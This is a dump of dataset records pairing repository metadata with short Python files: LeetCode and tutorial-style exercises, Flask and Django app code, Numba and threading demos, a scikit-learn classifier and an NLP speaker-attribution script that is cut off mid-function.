2a5e8b7585bb274e5bd7965beb80b6d35c08b1cd | dcc9d1dbee5b3dc37f8c8a97ba3045a5a6227bf0 | /Print Binary Tree By Columns.py | 72b7e9ddf502d3eda35b20a3708397526cafac90 | [] | no_license | alex-bo/leetcode | 1786d450e50efb52fcb3748efa89ae1d5feb7d4f | c3cc49250a564801b82bac89115de94c75569dce | refs/heads/master | 2022-11-12T00:15:41.860752 | 2022-11-05T21:07:12 | 2022-11-05T21:07:12 | 184,185,382 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,053 | py | from pprint import pprint
from typing import List
from binarytree import tree, Node
"""
Example:
tree:
_____2___
/ \
8 _11
/ \ / \
6 4 10 0
\
12
result:
[
[6],
[8],
[2, 4, 10],
[11, 12],
[0]
]
"""
def print_tree(tr: Node) -> List[List[int]]:
q = []
dct = {}
q.append((tr, 0))
while q:
node, i = q.pop(0)
if i not in dct:
dct[i] = []
dct[i].append(node.value)
if node.left:
q.append((node.left, i - 1))
if node.right:
q.append((node.right, i + 1))
res = []
for i in range(min(dct.keys()), max(dct.keys()) + 1):
res.append(dct[i])
return res
def main():
tr = tree()
print('-----------------------------------------------------')
print('tr {}:'.format(len(tr)))
print(tr)
res = print_tree(tr)
# print('{} {}'.format(sum(len(i) for i in res), res))
pprint(res)
if __name__ == '__main__':
main()
| [
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] | |
74ef94d80fccd28b35db0c7bd4e4ec800bcbf09e | af68bae787843595fc912b6358f31239c4081b37 | /MyFunc40.py | 21fa8c984a7274cd19e10a6d4593b0e89f55839d | [] | no_license | RaznoeVikaI/ExcelTempNew | 40ec74f493eb1cb19489eef7da3fa7345d1e27e2 | a9335a374f04bfea119e7ae2e770387a96518976 | refs/heads/master | 2020-07-27T15:55:00.985542 | 2019-09-17T20:15:48 | 2019-09-17T20:15:48 | 209,148,806 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,063 | py | import openpyxl
def readWriteCellFilials():
wb = openpyxl.load_workbook('задача для кандидата.xlsx')
# получаем имя активного листа
active_sheet_name = wb.active
# print(active_sheet_name)
# получаем другой лист
sheet_otchet = wb['отчет']
print(sheet_otchet)
# ----------111------------
# итоговая процентная маржа по всем статьям
SummaryMargin = 0
# заглушка
i =1
print("ПЫТАЕМСЯ ПИСАТЬ")
indexRowOtchet = 0
for cell in sheet_otchet['A']:
indexRowOtchet += 1
if (indexRowOtchet >= 7):
cellToInt = int(cell.value)
# int
# print(type(cellToInt))
if (cellToInt == 111):
if (indexRowOtchet == 7):
# for i in keysList:
# print("Ключи с расчитаныыми объемами")
# print(i)
# в зависимости от выбора "номер филиала" расчитывается ячейка "процентные доходы-расходы"
# может быть тоже не нужно, т.к. мы ведь берем ячейки уже посчитанные и делаем с ними
# вычисления дальше
if (i == 1):
print("Значения ячейки А i == 1")
cellA_Address = "A" + str(indexRowOtchet)
print(sheet_otchet[cellA_Address].value)
# Первый операнд для вычисления процентной маржи
cellE_Address = "E" + str(indexRowOtchet)
# 3746
print(sheet_otchet[cellE_Address].value)
cellG_Address = "G" + str(indexRowOtchet)
# 764.184
print(sheet_otchet[cellG_Address].value)
# Результат вычисления маржи пишем в строку следующую за последней со статьями
print(sheet_otchet.max_row)
lastArticlesRows = sheet_otchet.max_row
cellG_Margin_Address = "G" + str(lastArticlesRows+1)
ResultMargin = ((sheet_otchet[cellE_Address].value - sheet_otchet[cellG_Address].value)/\
sheet_otchet[cellE_Address].value)*100
SummaryMargin +=ResultMargin
sheet_otchet[cellG_Margin_Address].value = SummaryMargin
indexRowOtchet += 1
# Попробуем сохранить файл
wb.save('задача для кандидата.xlsx')
# ----------111------------ | [
"[email protected]"
] | |
688e659ae62848353d0129b34549c61df7294ab7 | cbd0af5a528e610e43dbfbff99db6eacc3a1fd78 | /src/phiAws/init/init_file.py | d330a8e476b012d790f0e769d8260ac9b7ed688e | [] | no_license | mnevadom/elasticS | ca65612a1905187f32449a048a7fc4a0dcc117b8 | 4b30feb0271518fc34be71646c7a535763c2fb8c | refs/heads/master | 2021-01-10T06:05:32.556550 | 2016-02-12T12:20:22 | 2016-02-12T12:20:22 | 48,800,623 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 28 | py | import boto3
import pprint
| [
"[email protected]"
] | |
d334cd91cd590089c1527676b0f2089cd1eb7aee | 51ade080eddc891ae6eb1b41814f083ea1f7436a | /이정민/0817/5073.py | 7d9b967fd03c0f81753a130bd12869c4fc777628 | [] | no_license | hjyoon/yunhoyunho | f2cd33aa86f8713afdd784093e14295e76e6e21b | 6d661cdce8ee894d4d390fc508a66d3fed51a900 | refs/heads/main | 2023-08-26T03:46:40.529904 | 2021-11-11T12:44:37 | 2021-11-11T12:44:37 | 402,943,106 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,038 | py |
#리스트 만들어서 max값 따로빼서 나머지랑 비교
while True:
try:
triangle = [list(map(int, input().split()))]
for i in range(len(triangle)):
tri = []
for j in range(3):
tri.append(triangle[i][j])
if triangle[i][0] == 0 and triangle[i][1] == 0 and triangle[i][2] == 0:
break
if max(tri) < (sum(tri) - max(tri)):
if triangle[i][0] == triangle[i][1] and triangle[i][1] == triangle[i][2] and triangle[i][2] == \
triangle[i][0]:
print('Equilateral')
continue
if triangle[i][0] != triangle[i][1] and triangle[i][1] != triangle[i][2] and triangle[i][2] != \
triangle[i][0]:
print('Scalene')
continue
else:
print('Isosceles')
continue
else:
print('Invalid')
except:
break | [
"[email protected]"
] | |
d6fb6be797243b47f6e91b67e3f43f734e4ef948 | d83cdad8cebe755ff614cad5019a03a639184bea | /tests/dynamic_parallel_execution_groups/python/mapper.py | 180cfec7d7c5864a9a28fa0332b00b72d8606cb8 | [
"Apache-2.0"
] | permissive | iakkus/knix | 99e59be415aa2b453cd3dfccde81aa4dc610f33f | 263ad31181c4189b93159df9c9f2e363f4fc377d | refs/heads/master | 2022-11-04T21:12:41.639421 | 2020-07-22T07:24:52 | 2020-07-22T07:24:52 | 262,139,828 | 0 | 0 | Apache-2.0 | 2020-07-22T07:35:07 | 2020-05-07T19:25:05 | JavaScript | UTF-8 | Python | false | false | 7,719 | py | # Copyright 2020 The KNIX Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import math
import random
import time
MAX_RETRY = 1000
SLEEP_TIME = 1.0
def create_reducer_message(peg_id, job, num_mappers, final_next=None, mapper_id=None, next_reducer_id=None):
# this is where the reducer is going to write its 'session function id'
# i.e., running function id
reducer_id_key = peg_id + "_reducer"
message = {}
message["peg_id"] = peg_id
message["reducer_id_key"] = reducer_id_key
message["num_mappers"] = num_mappers
message["job"] = job
if mapper_id is not None:
message["mapper_id"] = mapper_id
if next_reducer_id is not None:
message["next_reducer_id"] = next_reducer_id
if final_next is not None:
message["final_next"] = final_next
return message
def create_mapper_message_list(peg_id, job, data, num_mappers, reducer_id, mapper_conditions=None):
# this assumes that num_mappers has been properly set before, so that
# each mapper should get at least one item
data_size = len(data)
mapper_event_list = []
data_size_per_mapper = int(math.ceil(data_size / num_mappers))
for i in range(num_mappers):
start = i * data_size_per_mapper
end = (i+1) * data_size_per_mapper
event = {}
event["peg_id"] = peg_id
event["mapper_id"] = i
event["num_mappers"] = num_mappers
event["reducer_id"] = reducer_id
event["job"] = job
event["data"] = data[start:end]
if mapper_conditions is not None:
event["mapper_conditions"] = mapper_conditions
mapper_event_list.append(event)
return mapper_event_list
def get_num_mappers_for_new_peg(data, num_mappers):
data_size = len(data)
# each mapper should get at least one item
if data_size < num_mappers:
num_mappers = data_size
return num_mappers
def should_create_peg(data, mapper_conditions):
# the criteria
if mapper_conditions is not None:
for cond in mapper_conditions:
if cond == "max_len":
if len(data) > mapper_conditions[cond]:
return True
return False
def wordcount(data):
words = []
for line in data:
words += line.split(" ")
result = {}
for word in words:
if word == "":
continue
if word not in result:
result[word] = 0
result[word] += 1
return result
def mergesort(data):
# also cover longer inputs
ret = None
size = len(data)
if size == 1:
ret = data
elif size == 2:
ret = []
if data[0] > data[1]:
ret.append(data[1])
ret.append(data[0])
else:
ret = data
else:
middle = int(size / 2)
leftdata = data[:middle]
rightdata = data[middle:]
leftsorted = mergesort(leftdata)
rightsorted = mergesort(rightdata)
ret = []
i = 0
j = 0
size1 = len(leftsorted)
size2 = len(rightsorted)
while i < size1 and j < size2:
if leftsorted[i] < rightsorted[j]:
ret.append(leftsorted[i])
i += 1
else:
ret.append(rightsorted[j])
j += 1
while i < size1:
ret.append(leftsorted[i])
i += 1
while j < size2:
ret.append(rightsorted[j])
j += 1
return ret
def handle(event, context):
# 1. check if we should create more dynamic PEGs
# 2. if not:
# 2.1 get reducer's info (i.e., storage key of where to find the running function id)
# 2.2. process the data
# 2.3. obtain the running function id of the reducer (i.e., look up the key from the data layer)
# 2.4. use reducer's running function id to send it a message with the result
# 3. if we should nest:
# 3.1. create mappers and reducers
# 3.2. pass the current reducer info to the newly generated reducer (so that it can also forward its result later)
# 1. check whether we should create a nested dynamic PEG
# if we generate another dynamic PEG, then we need to pass our
# reducer id key to the just generated PEG's reducer
my_data = event["data"]
# 2.1. get reducer's info and obtain its corresponding key
my_reducer_id = event["reducer_id"]
my_id = event["mapper_id"]
my_job = event["job"]
my_num_mappers = event["num_mappers"]
my_mapper_conditions = None
if "mapper_conditions" in event:
my_mapper_conditions = event["mapper_conditions"]
should_nest = should_create_peg(my_data, my_mapper_conditions)
if not should_nest:
# 2.2. process the data
if my_job["type"] == "wordcount":
result = wordcount(my_data)
elif my_job["type"] == "mergesort":
result = mergesort(my_data)
message = {}
message["mapper_id"] = my_id
message["mapper_result"] = result
context.send_to_running_function_in_session(my_reducer_id, message, send_now=False)
else:
# 3.1. create additional mappers and reducer
# pass the new reducer to the mappers
# 3.2 pass the current reducer info to the reducer
print("Going to create another PEG...")
my_num_mappers = get_num_mappers_for_new_peg(my_data, my_num_mappers)
random.seed()
session_id = context.get_session_id()
peg_id = session_id + "_" + str(time.time() * 1000.0) + "_" + str(random.uniform(0, 100000))
# pass the current mapper_id, so that the original reducer will know we're done
# also with our newly generated PEG
# pass also the current reducer_id_key,
# so that the newly generated reducer knows where to send the result (i.e., the original reducer of this mapper)
reducer_message = create_reducer_message(peg_id, my_job, my_num_mappers, mapper_id=my_id, next_reducer_id=my_reducer_id)
context.send_to_function_now("reducer", reducer_message)
# 2.3. get the reducer's 'running function id' using the key
retry = 0
new_reducer_id = None
new_reducer_key = reducer_message["reducer_id_key"]
while retry < MAX_RETRY:
new_reducer_id = context.get(new_reducer_key, is_private=True)
if new_reducer_id is None or new_reducer_id == "":
retry += 1
#print("Could not find a proper running function id yet; retrying..." + str(retry) + " " + peg_id)
time.sleep(SLEEP_TIME)
else:
break
# 2.4. send result to the reducer via its running function id
if new_reducer_id is None or new_reducer_id == "":
print("ERROR: Could not create a new PEG. no proper running function id: " + new_reducer_key)
raise "Could not create a new PEG: " + new_reducer_key
mapper_message_list = create_mapper_message_list(peg_id, my_job, my_data, my_num_mappers, new_reducer_id, mapper_conditions=my_mapper_conditions)
for msg in mapper_message_list:
context.add_workflow_next("mapper", msg)
return
| [
"[email protected]"
] | |
218d992827a2a6e201f6828586965dda7f457f02 | 991a15260558f1d83a73fa73c6ac7d2d20e2eae8 | /Python/Reference/Numba/NumbaMultiThread.py | 258bd873122cbe1f383a96a65943450ceaa3c2ad | [] | no_license | mjbankston/UberProject | a04c367e97c6ea88177fc77183538c588a43b505 | 6437caa45fa06ea9c49d6cbff7a4a93f79a4484b | refs/heads/master | 2020-03-11T20:59:41.960212 | 2018-10-03T18:42:22 | 2018-10-03T18:42:22 | 130,252,393 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,433 | py | import math
import threading
from timeit import repeat
import numpy as np
from numba import jit
nthreads = 4
size = 10**6
def func_np(a, b):
"""
Control function using Numpy.
"""
return np.exp(2.1 * a + 3.2 * b)
@jit('void(double[:], double[:], double[:])', nopython=True, nogil=True)
def inner_func_nb(result, a, b):
"""
Function under test.
"""
for i in range(len(result)):
result[i] = math.exp(2.1 * a[i] + 3.2 * b[i])
def timefunc(correct, s, func, *args, **kwargs):
"""
Benchmark *func* and print out its runtime.
"""
print(s.ljust(20), end=" ")
# Make sure the function is compiled before we start the benchmark
res = func(*args, **kwargs)
if correct is not None:
assert np.allclose(res, correct), (res, correct)
# time it
print('{:>5.0f} ms'.format(min(repeat(lambda: func(*args, **kwargs),
number=5, repeat=2)) * 1000))
return res
def make_singlethread(inner_func):
"""
Run the given function inside a single thread.
"""
def func(*args):
length = len(args[0])
result = np.empty(length, dtype=np.float64)
inner_func(result, *args)
return result
return func
def make_multithread(inner_func, numthreads):
"""
Run the given function inside *numthreads* threads, splitting its
arguments into equal-sized chunks.
"""
def func_mt(*args):
length = len(args[0])
result = np.empty(length, dtype=np.float64)
args = (result,) + args
chunklen = (length + numthreads - 1) // numthreads
# Create argument tuples for each input chunk
chunks = [[arg[i * chunklen:(i + 1) * chunklen] for arg in args]
for i in range(numthreads)]
# Spawn one thread per chunk
threads = [threading.Thread(target=inner_func, args=chunk)
for chunk in chunks]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
return result
return func_mt
func_nb = make_singlethread(inner_func_nb)
func_nb_mt = make_multithread(inner_func_nb, nthreads)
a = np.random.rand(size)
b = np.random.rand(size)
correct = timefunc(None, "numpy (1 thread)", func_np, a, b)
timefunc(correct, "numba (1 thread)", func_nb, a, b)
timefunc(correct, "numba (%d threads)" % nthreads, func_nb_mt, a, b)
| [
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] | |
bf3be012e4b2178febe82596ab08eef6c6c12ae9 | 8fe8eb1d39edbd601d6da53cd94ab3634ca762ce | /k-Nearest-neighbor.py | cf26405ea6c00f1a84e1e22cacb55b47c58e45a0 | [] | no_license | adityabilawar/K-Nearest-Neighbors | 55f1b7b7cc6fa67b5fc0bf43bd0d0aef6b4e80c3 | db9b78200383855f0106b56df65e5c2eaebc5565 | refs/heads/main | 2023-05-05T16:06:07.419635 | 2021-05-01T20:31:16 | 2021-05-01T20:31:16 | 326,750,398 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,215 | py | import sklearn
from sklearn.utils import shuffle
from sklearn.neighbors import KNeighborsClassifier
import pandas as pd
import numpy as np
from sklearn import linear_model, preprocessing
data = pd.read_csv("car.data")
le = preprocessing.LabelEncoder()
buying = le.fit_transform(list(data["buying"]))
maint = le.fit_transform(list(data["maint"]))
door = le.fit_transform(list(data["door"]))
persons = le.fit_transform(list(data["persons"]))
lug_boot = le.fit_transform(list(data["lug_boot"]))
safety = le.fit_transform(list(data["safety"]))
cls = le.fit_transform(list(data["class"]))
predict = "class"
X = list(zip(buying, maint, door, persons, lug_boot, safety))
y = list(cls)
x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(X, y, test_size = 0.1)
model = KNeighborsClassifier(n_neighbors=9)
model.fit(x_train, y_train)
acc = model.score(x_test, y_test)
print(acc)
predicted = model.predict(x_test)
names = ["unacc", "acc", "good", "vgood"]
for x in range(len(predicted)):
print("Predicted: ", names[predicted[x]], "Data: ", x_test[x], "Actual: ", names[y_test[x]])
n = model.kneighbors([x_test[x]], 9, True)
print("N: ", n) | [
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] | |
6fb5c8f15f61c1706e1de02182770878e90f51e2 | 80ed2a6a86ccd635d801d4fa26b0db8fbb85e7c9 | /LEC/blog/migrations/0003_auto_20201006_1144.py | 86268a8c322cc3c34e4fb1cf0ab9c19a66a99f40 | [] | no_license | setuphub/webLEC | 0ed8a431baca256da119bbafcc5b572b538429c2 | 9136357cdeef0aedc52d6d97df8466a4bfe80bd8 | refs/heads/main | 2023-01-04T04:11:52.119823 | 2020-11-02T20:31:05 | 2020-11-02T20:31:05 | 301,351,536 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 318 | py | # Generated by Django 3.1.1 on 2020-10-06 11:44
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('blog', '0002_auto_20201006_1144'),
]
operations = [
migrations.AlterModelTable(
name='post',
table=None,
),
]
| [
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] | |
ca58f82f80a70195ada7ad9d9b57a9caa57b5d93 | 191a7f83d964f74a2b3c7faeb4fc47d9c63d521f | /.history/main_20210529110646.py | c11465bf5e912bd5343d8b638bc2f0d69d2c8b17 | [] | no_license | AndreLiu1225/Kinder-Values-Survey | 2a317feee8d5b17c27da2b2116742656e35d8ab9 | 090c27da0c822abb7dfc0ec6e13ae1b3dcb7bbf3 | refs/heads/master | 2023-05-03T00:26:00.481423 | 2021-06-04T03:24:19 | 2021-06-04T03:24:19 | 371,989,154 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,896 | py | from flask import Flask, render_template, redirect, url_for, flash, request
from flask_sqlalchemy import SQLAlchemy
from flask_wtf import FlaskForm
from wtforms import StringField, TextField, SubmitField, IntegerField, SelectField, RadioField
from wtforms.validators import DataRequired, Email, EqualTo, Length, ValidationError
import datetime
import plotly.graph_objs as go
app = Flask(__name__)
app.config['SECRET_KEY'] = "0c8973c8a5e001bb0c816a7b56c84f3a"
app.config['SQLALCHEMY_DATABASE_URI'] = "sqlite:///site.db"
db = SQLAlchemy(app)
class Survey(db.Model):
age = db.Column(db.Integer, nullable=False, primary_key=True)
email = db.Column(db.String(50), unique=True, nullable=False)
profession = db.Column(db.String(50), nullable=False)
power = db.Column(db.Integer, nullable=False)
tradition = db.Column(db.Integer, nullable=False)
achievement = db.Column(db.Integer, nullable=False)
stimulation = db.Column(db.Integer, nullable=False)
hedonism = db.Column(db.Integer, nullable=False)
conformity = db.Column(db.Integer, nullable=False)
self_direction = db.Column(db.Integer, nullable=False)
benevolence = db.Column(db.Integer, nullable=False)
universalism = db.Column(db.Integer, nullable=False)
date_posted = db.Column(db.DateTime, nullable=False, default=datetime.datetime.utcnow)
def __repr__(self):
return f"Survey('{self.age}', '{self.name}', '{self.date_posted}')"
# @staticmethod
# def is_email_in_database(email):
# return True if Survey.query.filter_by(email=email).first() else False
class MCQ(FlaskForm):
email = StringField("What is your email?", validators=[DataRequired(), Email(message=('Not a valid email address')), Length(max=50)])
age = IntegerField("Please enter your age", validators=[DataRequired()])
profession = StringField("What is your profession?", validators=[DataRequired(), Length(max=30)])
# Self-Enhancement
power = IntegerField("Do you desire a higher social status and dominance over others? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
hedonism = IntegerField("Is personal gratification the most important? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
achievement = IntegerField("Is achievement according to social standards important? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
# Conservation
tradition = IntegerField("Do you care about preserving traditions? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
conformity = IntegerField("Do you think restraint of actions against social norms is important? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
security = IntegerField("")
# Openness to change
stimulation = IntegerField("Do you prefer novel and exciting challenges in life? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
self_direction = IntegerField("Do you think independent thought and action are important (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
# Self-transcendence
benevolence = IntegerField("Are preserving and enhancing the welfare of your friends and family the most important? (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
universalism = IntegerField("I find it important to understand, tolerate, appreciate and protect all ethnicities and people. (4- It is my utmost priority, 3-It is important, 2-Doesn't bother me, 1-Not even a thought)", validators=[DataRequired()])
submit = SubmitField("Submit")
@app.route('/', methods=['POST','GET'])
def values_quiz():
form = MCQ()
if form.validate_on_submit():
post = Survey(age=form.age.data, email=form.email.data, profession=form.profession.data, power=form.power.data,
tradition=form.tradition.data, achievement=form.achievement.data, stimulation=form.stimulation.data,
hedonism=form.hedonism.data, conformity=form.conformity.data, self_direction=form.self_direction.data,
benevolence=form.benevolence.data, universalism=form.universalism.data)
# if Survey.is_email_in_database(form.email.data):
# flash(f"The user with {form.email.data} has already filled the survey", "danger")
db.session.add(post)
db.session.commit()
flash(f'Survey is completed by {form.email.data}', 'success')
return redirect(url_for('data_dashboard'))
else:
flash('Ensure all questions are answered correctly', 'warning')
return render_template('MCQ.html', form=form)
@app.route('/results', methods=['POST','GET'])
def data_dashboard():
# power = request.form.get('power')
# tradition = request.form.get('tradition')
# achievement = request.form.get('achievement')
# stimulation = request.form.get('stimulation')
# hedonism = request.form.get('hedonism')
# conformity = request.form.get('conformity')
# self_direction = request.form.get('self_direction')
# benevolence = request.form.get('benevolence')
# universalism = request.form.get('universalism')
result = request.form
user_values = []
for i in result.values():
user_values.append(float(i))
dyn_values = []
for i in range(0, len(user_values)):
pass
return render_template('data_dashboard.html')
if __name__ == "__main__":
app.run(debug=True)
| [
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] | |
05b4ccafaf0be88412c70c54cc82d5afc05c923f | d94162ca1ecdfea5f2acb319dc4700cccb55f941 | /package_structure/models.py | 3bd17ad4ee588a78de39ad6f20e7aca025f78341 | [] | no_license | vaidehidangi23/flaskblog | 69f46e764e35e945ab998540acf8888b009a19bc | 745fefa9c624e75c8bf0eee466e7c45bbabfaa9d | refs/heads/master | 2022-11-12T23:51:05.810731 | 2020-07-10T18:53:04 | 2020-07-10T18:53:04 | 278,036,190 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 988 | py | from datetime import datetime
from __main__ import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(110), unique=True, nullable=False)
image_file = db.Column(db.String(20), nullable=False, default='default.jpg')
password = db.Column(db.String(50), nullable=False)
posts = db.relationship('Post', backref='author', lazy=True)
def __repr__(self):
return f"User('{self.username}', '{self.email}', '{self.image_file}')"
class Post(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(100), nullable=False)
date_posted = db.Column(db.DateTime, nullable=False,default=datetime.utcnow)
content = db.Column(db.Text, nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
def __repr__(self):
return f"Post('{self.title}', '{self.date_posted}')"
| [
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] | |
69037af8902c95555784d6965770b0383184ab27 | 6f62a21f269864ae75d5b0fe7a65835dfb77bb63 | /tetris/venv/Scripts/pip3-script.py | 3479da8fdd232abc2657e4899a701d897f4976e7 | [] | no_license | hursliza/tetris | 217d6ae17419505fad442d8c7280050075ebfc4d | d15dc71afb5e85b0cf6e0f003f3f159d8b5a264f | refs/heads/master | 2021-03-17T12:09:16.219270 | 2020-04-02T11:02:26 | 2020-04-02T11:02:26 | 246,988,911 | 0 | 0 | null | null | null | null | ISO-8859-7 | Python | false | false | 396 | py | #!D:\studia\οτόσ\venv\Scripts\python.exe -x
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==10.0.1', 'console_scripts', 'pip3')()
)
| [
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] | |
e22b899f1c8fd95943bdbe46fad4f1ebb9049d5f | cf4baa30dd94e8dbf7b6d097b02f7fc62c416222 | /Django/DjangoApp/apps/surveys_app/views.py | 0fa2255fd93c02154a9cdb7b1573dcb1c31a57d6 | [] | no_license | py1-10-2017/AshwinRaman-py1-10-2017 | fcd5421951ceb8838b72183fe8e74a690afd604a | 11e27487129fa5a0bd01075829b0dcd2ea422bf3 | refs/heads/master | 2021-08-19T07:26:06.909086 | 2017-11-25T04:36:44 | 2017-11-25T04:36:44 | 105,705,899 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | from __future__ import unicode_literals
from django.shortcuts import render, HttpResponse, redirect
def surveys(request):
return HttpResponse("Placeholder - display all the surveys created")
def new_survey(request):
return HttpResponse("Placeholder for users to add a new survey")
| [
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] | |
28af7761180fd39b25687a64d46b71bd4852c87d | c848f65a72e6fd7df20d53283f568b862e758c24 | /basic/,threading5.py | c030d687c60065395be26fe95476aeac523048cc | [] | no_license | yk0817/python_study | 029cbe7a70778ca7d6b2c8d71b9a1ae2587ef39f | 4d5171b78f84539e538f719a593feaae10e5a093 | refs/heads/master | 2023-05-25T12:08:55.431705 | 2023-05-13T01:57:46 | 2023-05-13T01:57:46 | 84,618,059 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 613 | py | import threading,time
class MyThread(threading.Thread):
def __init__(self,count):
threading.Thread.__init__(self)
self.count = count
self.return_value = None
def run(self):
sum_value = 0
for i in range(1,1 + self.count):
sum_value += i
time.sleep(0.1)
self.return_value = sum_value
def get_value(self):
return self.return_value
thread1 = MyThread(5)
thread1.start()
thread1.join()
print(thread1.return_value) # 15 →インスタンス変数として取得
print(thread1.get_value()) # 15 →メソッドで取得
| [
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] | |
e13ef4e93311f1a5135c51513292e37c3a21d53b | 341ac5a0b7a2fe550a0580f29a81dbaaf26d24cd | /attribution.py | 6a4df77e34df9b0b6a574d03bb5994e3e1f31b7a | [] | no_license | jielu0728/RelationExtraction | 7f9405a5a88e9dd7c4a3274fd9cc6126cedebee6 | 2839e55cb640e66973841983f18c385b8df2edb2 | refs/heads/master | 2016-09-06T00:22:57.547084 | 2015-10-25T23:16:01 | 2015-10-25T23:16:01 | 37,312,902 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,892 | py |
# coding: utf-8
# In[1]:
import nltk
import string
import jsonrpclib
from simplejson import loads
import simplejson
from nltk.corpus import wordnet as wn
import re
from string import punctuation
server = jsonrpclib.Server("http://localhost:8080")
r = re.compile(r'[{}]'.format(punctuation))
# name appears in the paragraph before
#
#
# 2 alternant lines
#
# if the name appears in the previous or following utterance with a pattern such as ',name,'
#
# the object of the speech verb
#
# In[2]:
f = open('annotation_speaker')
res = open('./candidate.data','w')
n = 0
instance = []
temp = []
speaker = []
p = 0
keyposition = [] #the linenum of the paragraph to be treated
for line in f:
if n <= 30420:
if '###############' in line:
keyposition.append(p)
current = [temp.pop()]
previous = temp[:]
temp = []
continue
if 'speaker: ' in line:
speaker.append(line.split('speaker: ')[1].split('\r\n')[0])
instance.append([current,previous,temp])
temp = []
p = 0
continue
if line.replace(' ','') != '\r\n':
temp.append(line.replace('\r\n',''))
p = p+1
n = n+1
#print instance[-1]
#instance [0,1,2]:
#0 : current paragraph (including the object utterance)
#1 : 9 previous paragraphs
#2 : 5 following paragraphs
# In[3]:
result = loads(server.parse(instance[0][1][7]))
#print result['sentences'][0]['parsetree'].split('] [')
# In[4]:
def countwordperline(instance,num_instance):
numlist = []
for i in range(3):
for j in range(len(instance[num_instance][i])):
new_strs = r.sub(' ',instance[num_instance][i][j])
num = len(new_strs.split())
numlist.append(num)
numlist.insert(keyposition[num_instance]-1, numlist.pop(0))
return numlist
#countwordperline(instance,0)
# In[5]:
def convertoffset(numlist,linenum,offset,sentence):
temp = sentence[0:offset]
new_strs = r.sub(' ',temp)
num = len(new_strs.split())
pos = 0
for i in range(linenum-1):
try:
pos = pos + numlist[i]
except IndexError:
print numlist,linenum,offset,sentence
cccccccccccccccccccccc
return pos+num+1
#convertoffset(countwordperline(instance,0),keyposition[0],33,instance[0][0][0])
# In[6]:
# no use, we can get the index from the loop number
def convertposition(numlist,linenum,position):
temp = position
i = 0
while temp > 0:
temp = temp - numlist[i]
i = i+1
i = i-1
if i == linenum-1:
return 0,0
elif i>linenum-1:
return 2,i-linenum
else:
return 1,i
#convertposition(countwordperline(instance,0),keyposition[0],669)
# In[7]:
def ner(instance):
entities = []
n = 0
for obj in instance:
numlist = countwordperline(instance,n)
print 'progress : '+str(float(n)/float(len(instance))*100)+'%\n'
current = [[]]
temp = []
for z in range(len(loads(server.parse(obj[0][0]))['sentences'])):
temp = temp + loads(server.parse(obj[0][0]))['sentences'][z]['parsetree'].split('] [')
for frag in temp:
if 'PartOfSpeech=NNP' in frag:
text = frag.split('Text=')[1].split(' ')[0]
position = frag.split('CharacterOffsetBegin=')[1].split(' ')[0]
pos = convertoffset(numlist,keyposition[n],int(position),obj[0][0])
current[0].append([text,int(position),pos])
elif 'PartOfSpeech=N' in frag:
text = frag.split('Text=')[1].split(' ')[0]
position = frag.split('CharacterOffsetBegin=')[1].split(' ')[0]
pos = convertoffset(numlist,keyposition[n],int(position),obj[0][0])
lex = []
for synset in wn.synsets(text):
lex.append(synset.lexname())
if lex == []:
continue
elif float(lex.count('noun.person'))/float(len(lex)) >= 0.4:
current[0].append([text,int(position),pos])
word = loads(server.parse(obj[0][0]))['sentences'][0]['words'][0]
if word[1]['PartOfSpeech'] == 'NNP':
text = word[0]
position = word[1]['CharacterOffsetBegin']
pos = convertoffset(numlist,keyposition[n],int(position),obj[0][0])
current[0].append([text,int(position),pos])
elif 'N' in word[1]['PartOfSpeech']:
text = word[0]
position = word[1]['CharacterOffsetBegin']
pos = convertoffset(numlist,keyposition[n],int(position),obj[0][0])
lex = []
for synset in wn.synsets(text):
lex.append(synset.lexname())
if lex == []:
pass
elif float(lex.count('noun.person'))/float(len(lex)) >= 0.4:
current[0].append([text,int(position),pos])
previous = []
for i in range(len(obj[1])):
previous.append([])
temp = []
for x in range(len(loads(server.parse(obj[1][i]))['sentences'])):
try:
